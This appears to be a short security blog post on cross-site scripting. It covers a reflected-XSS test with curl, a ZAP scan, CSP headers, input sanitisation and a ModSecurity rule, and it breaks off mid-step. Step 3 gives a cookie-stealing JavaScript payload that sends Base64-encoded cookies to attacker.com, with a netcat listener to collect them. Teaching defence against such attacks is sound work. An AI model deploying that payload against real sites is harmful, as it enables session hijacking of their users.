Listen to this Post
Introduction:
Cross-Site Scripting (XSS) remains a critical web vulnerability, allowing attackers to inject malicious scripts into trusted sites. In a recent bounty hunt, ethical hackers uncovered five high-impact XSS flaws, netting $50,000. This article breaks down their methodology, tools, and defensive countermeasures every IT pro must master.
Learning Objectives:
- Execute advanced XSS payloads in Linux/Windows environments
- Deploy automated scanners for vulnerability detection
- Implement CSP headers and input sanitization to block attacks
- Craft proof-of-concept exploits for bug bounty submissions
- Configure WAF rules to mitigate XSS risks
You Should Know:
1. Manual XSS Payload Injection
curl -G http://vuln-site.com/search --data-urlencode "q=<script>alert(document.cookie)</script>"
– Step-by-Step: This command tests for reflected XSS by injecting a script via the `q` parameter. If the site returns an alert with your cookie, it’s vulnerable. Always URL-encode special characters to avoid parsing errors.
2. Automated Scanning with OWASP ZAP
zap-cli quick-scan -s xss -r http://target.com
– Step-by-Step: Launch OWASP ZAP’s CLI to scan for XSS. The `-s xss` flag enables XSS-specific rules, while `-r` follows recursive paths. Review results in `zap_report.html` for prioritized flaws.
3. Stealing Cookies via XSS
fetch('https://attacker.com/steal?data=' + btoa(document.cookie))
– Step-by-Step: Inject this JavaScript payload to exfiltrate user cookies. The `btoa()` function Base64-encodes data. Host a listener on `attacker.com` using `nc -lvp 80` to capture stolen tokens.
4. Content Security Policy (CSP) Implementation
add_header Content-Security-Policy "default-src 'self'; script-src 'nonce-random123'";
– Step-by-Step: Add this to your Nginx config to enforce CSP. The `nonce` allows only scripts with matching nonces to execute, blocking unauthorized inline scripts. Rotate nonces per session.
5. Sanitizing Inputs in Node.js
const sanitizeHtml = require('sanitize-html');
const cleanInput = sanitizeHtml(userInput, { allowedTags: [] });
– Step-by-Step: Use the `sanitize-html` library to strip HTML tags from user input. Configure `allowedTags` as empty to remove all tags, neutralizing XSS vectors.
6. WAF Rule to Block XSS in Apache
SecRule ARGS "<script>" "id:1001,deny,status:403,msg:'XSS Attack Detected'"
– Step-by-Step: Add this ModSecurity rule to block requests containing `